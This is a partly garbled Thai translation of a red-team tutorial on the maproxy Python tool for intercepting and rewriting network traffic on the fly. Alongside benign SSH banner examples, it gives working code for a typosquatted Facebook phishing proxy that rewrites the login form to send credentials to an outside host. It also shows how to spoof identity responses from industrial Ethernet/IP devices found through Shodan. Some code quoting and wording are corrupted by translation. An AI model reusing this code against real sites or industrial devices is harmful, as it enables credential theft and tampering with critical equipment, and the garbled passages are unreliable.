ประมวลผลข้อมูลเครือข่ายได้ทันที

การแปลบทความจัดทำขึ้นในวันเริ่มต้นหลักสูตร “เพนเทส. การฝึกทดสอบการเจาะ".

ประมวลผลข้อมูลเครือข่ายได้ทันที

นามธรรม

การประเมินความปลอดภัยหลายประเภท ตั้งแต่การทดสอบการเจาะระบบปกติและการปฏิบัติงานของทีมแดง ไปจนถึงการแฮ็กอุปกรณ์ IoT/ICS และ SCADA เกี่ยวข้องกับการทำงานกับโปรโตคอลเครือข่ายไบนารี ซึ่งก็คือ การดักจับและแก้ไขข้อมูลเครือข่ายระหว่างไคลเอนต์และเป้าหมายเป็นหลัก การดมกลิ่นการรับส่งข้อมูลเครือข่ายไม่ใช่เรื่องยากเนื่องจากเรามีเครื่องมือเช่น Wireshark, Tcpdump หรือ Scapy แต่การดัดแปลงดูเหมือนจะเป็นงานที่ต้องใช้แรงงานมากกว่า เนื่องจากเราจะต้องมีอินเทอร์เฟซบางประเภทเพื่ออ่านข้อมูลเครือข่าย กรอง และเปลี่ยนแปลง ได้ทันทีและส่งกลับไปยังโฮสต์เป้าหมายแบบเรียลไทม์ นอกจากนี้ จะเหมาะเป็นอย่างยิ่งหากเครื่องมือดังกล่าวสามารถทำงานโดยอัตโนมัติกับการเชื่อมต่อแบบขนานหลายรายการและปรับแต่งได้โดยใช้สคริปต์

วันหนึ่งฉันค้นพบเครื่องมือที่เรียกว่า maproxyเอกสารทำให้ฉันเข้าใจได้อย่างรวดเร็วว่า maproxy – สิ่งที่ฉันต้องการ นี่เป็นพร็อกซี TCP ที่ค่อนข้างเรียบง่าย อเนกประสงค์ และกำหนดค่าได้ง่าย ฉันทดสอบเครื่องมือนี้กับแอปพลิเคชันที่ค่อนข้างซับซ้อนหลายตัว รวมถึงอุปกรณ์ ICS (ซึ่งสร้างแพ็กเก็ตจำนวนมาก) เพื่อดูว่าสามารถรองรับการเชื่อมต่อแบบขนานจำนวนมากได้หรือไม่ และเครื่องมือก็ทำงานได้ดี

บทความนี้จะแนะนำให้คุณรู้จักกับการประมวลผลข้อมูลเครือข่ายได้ทันทีโดยใช้ maproxy.

ทบทวน

เครื่องมือ maproxy ขึ้นอยู่กับ Tornado ซึ่งเป็นเฟรมเวิร์กเครือข่ายอะซิงโครนัสที่ได้รับความนิยมและเติบโตเต็มที่ใน Python

โดยทั่วไปสามารถทำงานได้หลายโหมด:

  • TCP:TCP – การเชื่อมต่อ TCP ที่ไม่ได้เข้ารหัส
  • TCP:SSL и SSL:TCP – ด้วยการเข้ารหัสทางเดียว
  • SSL:SSL – การเข้ารหัสแบบสองทาง

มันมาเป็นห้องสมุด เพื่อการเริ่มต้นอย่างรวดเร็ว คุณสามารถใช้ไฟล์ตัวอย่างที่สะท้อนถึงเนื้อหาหลักได้ ฟังก์ชั่นห้องสมุด:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

กรณีที่ 1 – พร็อกซีสองทิศทางอย่างง่าย

ขึ้นอยู่กับ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Поумолчанию ProxyServer() รับสองอาร์กิวเมนต์ - ตำแหน่งการเชื่อมต่อและพอร์ตเป้าหมาย server.listen() รับหนึ่งอาร์กิวเมนต์ - พอร์ตสำหรับฟังการเชื่อมต่อขาเข้า

การดำเนินการสคริปต์:

# python tcp2tcp.py

เพื่อดำเนินการทดสอบ เราจะเชื่อมต่อกับเซิร์ฟเวอร์ SSH ภายในเครื่องผ่านสคริปต์พร็อกซีของเรา ซึ่งจะรับฟัง 2222/tcp พอร์ตและเชื่อมต่อกับพอร์ตมาตรฐาน 22/tcp เซิร์ฟเวอร์ SSH:

ประมวลผลข้อมูลเครือข่ายได้ทันที

แบนเนอร์ต้อนรับจะแจ้งให้คุณทราบว่าสคริปต์ตัวอย่างของเราประสบความสำเร็จในการพร็อกซีการรับส่งข้อมูลเครือข่าย

กรณีที่ 2 – การแก้ไขข้อมูล

สคริปต์สาธิตอื่น logging_proxy.py เหมาะสำหรับการโต้ตอบกับข้อมูลเครือข่าย ความคิดเห็นในไฟล์อธิบายวิธีการเรียนที่คุณสามารถแก้ไขเพื่อให้บรรลุเป้าหมาย:

ประมวลผลข้อมูลเครือข่ายได้ทันที

สิ่งที่น่าสนใจที่สุดอยู่ที่นี่:

  • on_c2p_done_read – เพื่อดักจับข้อมูลระหว่างทางจากไคลเอนต์ไปยังเซิร์ฟเวอร์
  • on_p2s_done_read - ย้อนกลับ

ลองเปลี่ยนแบนเนอร์ SSH ที่เซิร์ฟเวอร์ส่งคืนให้กับลูกค้า:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ดำเนินการสคริปต์:

ประมวลผลข้อมูลเครือข่ายได้ทันที

อย่างที่คุณเห็น ลูกค้าถูกเข้าใจผิดเนื่องจากชื่อเซิร์ฟเวอร์ SSH ของเขาถูกเปลี่ยนเป็น «DumnySSH».

ประมวลผลข้อมูลเครือข่ายได้ทันที

กรณีที่ 3 – หน้าเว็บฟิชชิ่งธรรมดา

มีหลายวิธีในการใช้เครื่องมือนี้ คราวนี้เรามาเน้นไปที่สิ่งที่ใช้งานได้จริงจากฝ่ายปฏิบัติการของทีมแดง มาเลียนแบบแลนดิ้งเพจกันเถอะ m.facebook.com และใช้โดเมนที่กำหนดเองโดยมีเจตนาพิมพ์ผิด เช่น m.facebok.com. เพื่อวัตถุประสงค์ในการสาธิต สมมติว่าเราจดทะเบียนโดเมนแล้ว

เราจะสร้างการเชื่อมต่อเครือข่ายที่ไม่ได้เข้ารหัสกับพร็อกซีเหยื่อของเราและสตรีม SSL ไปยังเซิร์ฟเวอร์ Facebook (31.13.81.36). เพื่อให้ตัวอย่างนี้ใช้งานได้ เราจำเป็นต้องแทนที่ส่วนหัวของโฮสต์ HTTP และใส่ชื่อโฮสต์ที่ถูกต้อง และเราจะปิดใช้งานการบีบอัดการตอบสนองเพื่อให้เราสามารถเข้าถึงเนื้อหาได้อย่างง่ายดาย ท้ายที่สุด เราจะแทนที่แบบฟอร์ม HTML เพื่อให้ข้อมูลการเข้าสู่ระบบถูกส่งถึงเราแทนเซิร์ฟเวอร์ของ Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/th/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

ในสรุป:

ประมวลผลข้อมูลเครือข่ายได้ทันที

อย่างที่คุณเห็น เราสามารถแทนที่ไซต์เดิมได้สำเร็จ

กรณีที่ 4 – การพอร์ต Ethernet/IP

ฉันจัดการกับอุปกรณ์และซอฟต์แวร์อุตสาหกรรม (ICS/SCADA) มาระยะหนึ่งแล้ว เช่น ตัวควบคุมโปรแกรม (PLC) โมดูล I/O ไดรฟ์ รีเลย์ สภาพแวดล้อมการเขียนโปรแกรมแลดเดอร์ และอื่นๆ อีกมากมาย เคสนี้เหมาะสำหรับผู้ที่ชื่นชอบงานอุตสาหกรรม การแฮ็กโซลูชันดังกล่าวเกี่ยวข้องกับการเล่นกับโปรโตคอลเครือข่ายอย่างจริงจัง ในตัวอย่างต่อไปนี้ ฉันต้องการแสดงวิธีที่คุณสามารถปรับเปลี่ยนการรับส่งข้อมูลเครือข่าย ICS/SCADA

ในการทำเช่นนี้ คุณต้องมีสิ่งต่อไปนี้:

  • การดมกลิ่นเครือข่าย เช่น Wireshark;
  • Ethernet/IP หรือเพียงแค่อุปกรณ์ SIP คุณสามารถค้นหาได้โดยใช้บริการ Shodan
  • สคริปต์ของเรามีพื้นฐานมาจาก maproxy.

อันดับแรก มาดูกันว่าการตอบสนองการระบุตัวตนทั่วไปจาก CIP (Common Industrial Protocol) มีลักษณะอย่างไร:

ประมวลผลข้อมูลเครือข่ายได้ทันที

การระบุอุปกรณ์ทำได้สำเร็จโดยใช้โปรโตคอลอีเทอร์เน็ต/IP ซึ่งเป็นเวอร์ชันปรับปรุงของโปรโตคอลอีเธอร์เน็ตอุตสาหกรรมที่รวมโปรโตคอลควบคุม เช่น CIP เราจะเปลี่ยนชื่อ ID ที่ไฮไลต์ซึ่งมองเห็นได้ในภาพหน้าจอ "NI-IndComm สำหรับอีเธอร์เน็ต" โดยใช้สคริปต์พร็อกซีของเรา เราสามารถใช้สคริปต์ซ้ำได้ logging_proxy.py และแก้ไขวิธีการเรียนในทำนองเดียวกัน on_p2s_done_readเนื่องจากเราต้องการให้ชื่อประจำตัวอื่นปรากฏบนไคลเอนต์

รหัส:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

โดยพื้นฐานแล้ว เราขอการระบุอุปกรณ์สองครั้ง คำตอบที่สองคือคำตอบดั้งเดิม และคำตอบแรกได้รับการแก้ไขทันที

และสุดท้าย

ในความคิดของฉัน maproxy เครื่องมือที่สะดวกและเรียบง่ายซึ่งเขียนด้วยภาษา Python เช่นกัน ดังนั้นฉันเชื่อว่าคุณก็สามารถได้รับประโยชน์จากการใช้มันเช่นกัน แน่นอนว่ามีเครื่องมือที่ซับซ้อนกว่าสำหรับการประมวลผลและแก้ไขข้อมูลเครือข่าย แต่เครื่องมือเหล่านี้ยังต้องการการดูแลเอาใจใส่มากกว่าปกติ และมักจะสร้างขึ้นสำหรับกรณีการใช้งานเฉพาะ เช่น มูไรนา, มอดลิชก้า หรือ evilginx สำหรับกรณีที่คล้ายกับกรณีที่สามหรือ คานาเป้ สำหรับกรณีสุดท้าย ไม่ทางใดก็ทางหนึ่งด้วยความช่วยเหลือ maproxy คุณสามารถนำแนวคิดของคุณในการสกัดกั้นข้อมูลเครือข่ายไปใช้ได้อย่างรวดเร็ว เนื่องจากสคริปต์ตัวอย่างมีความชัดเจนมาก

การทดสอบกลไกการรับรองความถูกต้องใน Windows AD

ที่มา: will.com

เพิ่มความคิดเห็น